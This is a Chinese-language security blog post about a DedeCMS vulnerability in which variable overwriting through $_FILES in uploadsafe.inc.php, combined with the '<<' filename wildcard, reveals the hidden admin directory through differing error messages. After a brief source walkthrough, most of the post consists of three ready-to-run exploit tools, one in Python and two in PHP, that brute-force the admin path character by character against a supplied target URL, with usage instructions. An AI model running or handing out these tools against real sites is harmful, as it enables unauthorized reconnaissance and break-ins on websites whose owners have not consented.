DedeCMS最新找后台目录漏洞

摘要

看核心文件common.inc.php 大概148行左右 if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); } uploadsafe.inc.php

看核心文件common.inc.php 大概148行左右

if($_FILES) {     require_once(DEDEINC.'/uploadsafe.inc.php'); }

uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) {     exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; //获取temp_name  ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z/./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#/.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#/.#", ${$_key.'_name'})) ) {     if(!defined('DEDEADMIN'))     {         exit('Not Admin Upload filetype not allow !');     } } if(empty(${$_key.'_size'})) {     ${$_key.'_size'} = @filesize($$_key); } $imtypes = array (     "image/pjpeg", "image/jpeg", "image/gif", "image/png",      "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) {     $image_dd = @getimagesize($$_key);      //问题就在这里，获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。     if (!is_array($image_dd))     {         exit('Upload filetype not allow !');     } }

注意$$_key这一句，变量$key取自于$_FILE，由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量，但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用<<通配符猜解后台目录，所以只要$$_key参数可控就可以达到目的。

但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回：Upload filetype not allow !

exp

#!/usr/bin/env python '''/*     * author = Mochazz     * team   = 红日安全团队     * env    = pyton3     *     */ ''' import requests import itertools characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" back_dir = "" flag = 0 # url = "https://www.0dayhack.com/tags.php" url = "https://www.0dayhack.com/tags.php" data = {     "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",     "_FILES[mochazz][name]" : 0,     "_FILES[mochazz][size]" : 0,     "_FILES[mochazz][type]" : "image/gif" }  for num in range(1,7):     if flag:         break     for pre in itertools.permutations(characters,num):         pre = ''.join(list(pre))         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)         print("testing",pre)         r = requests.post(url,data=data)         if "Upload filetype not allow !" not in r.text and r.status_code == 200:             flag = 1             back_dir = pre             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"             break         else:             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("[+] 前缀为：",back_dir) flag = 0 for i in range(30):     if flag:         break     for ch in characters:         if ch == characters[-1]:             flag = 1             break         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)         r = requests.post(url, data=data)         if "Upload filetype not allow !" not in r.text and r.status_code == 200:             back_dir += ch             print("[+] ",back_dir)             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"             break         else:             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"  print("后台地址为：",back_dir)  python版exp

<?php $domain='https://www.0dayhack.com/dedecms/'; $url=$domain.'/index.php'; function post($url, $data, $cookie = '') {     $options = array(         CURLOPT_RETURNTRANSFER => true,         CURLOPT_HEADER => true,         CURLOPT_POST => true,         CURLOPT_SSL_VERIFYHOST => false,         CURLOPT_SSL_VERIFYHOST => false,         CURLOPT_COOKIE => $cookie,         CURLOPT_POSTFIELDS => $data,     );     $ch = curl_init($url);     curl_setopt_array($ch, $options);     $result = curl_exec($ch);     curl_close($ch);     return $result; } $testlen=25; $str=range('a','z'); $number=range(0,9,1); $dic = array_merge($str, $number); $n=true; $nn=true; $path=''; while($n){     foreach($dic as $v){         foreach($dic as $vv){             #echo $v.$vv .'----';             $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";             $result=post($url,$post_data);             if(strpos($result,'Upload filetype not allow !') === false){                 $path=$v.$vv;$n=false;break 2;             }         }     } } while($nn){     foreach($dic as $vvv){         $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";         $result=post($url,$post_data);         if(strpos($result,'Upload filetype not allow !') === false){             $path.=$vvv;             echo $path . PHP_EOL;             $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';             if(@file_get_contents($giturl)){                 echo $domain.'/'.$path.'/';                 $nn=false;break 2;             }         }     } } ?>  PHP版exp1

<?php     /*         dedecms 后台地址爆破工具         使用程序时，必须指定dedecms的版本，例如：5.6         当你不确定dedecms版本时，请将5.6和5.7两个版本都尝试一遍，总有一个适合您！         Example: php.exe dedecms-exp.php 5.6 https://www.0dayhack.com/     */      if(!isset($argv[1]) or !isset($argv[2])) {         exit("error!/r/nExample: php.exe dedecms-exp.php 5.6 https://www.0dayhack.com/");     }      $domain = $argv[2];     $url = $domain . '/tags.php';     $version = $argv[1];      $path = my_func($url);      if($path) {         while(($path = my_func($url, $path))) {             echo strtolower($path) . "/r/n";         }     }     else {         for($i = 48; $i <= 90; $i++) {             if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {                 $path = my_func($url, chr($i));                 while($path) {                     echo strtolower($path) . "/r/n";                     $path = my_func($url, $path);                 }             }         }     }      exit();      function my_func($url, $path = '') {         $ch = curl_init($url);         $i = 48;         global $version;          while($i <= 90) {             if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {                 if($version != '5.7') {                     /* v5.6版本及其以下 */                     $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';                 }                 else {                     /* v5.7版本 */                     $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';                 }                  $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';                  $options = array(                                 CURLOPT_USERAGENT => 'Firefox/58.0',                                 CURLOPT_RETURNTRANSFER => true,                                 CURLOPT_POST => true,                                 CURLOPT_POSTFIELDS => $data,                 );                  curl_setopt_array($ch, $options);                  $response = curl_exec($ch);                  if(!preg_match('/(Upload filetype not allow !)/i', $response)) {                     $path = $path . chr($i);                     return $path;                 }             }              $i++;         }          curl_close($ch);         return false;     }  ?>  PHP版exp2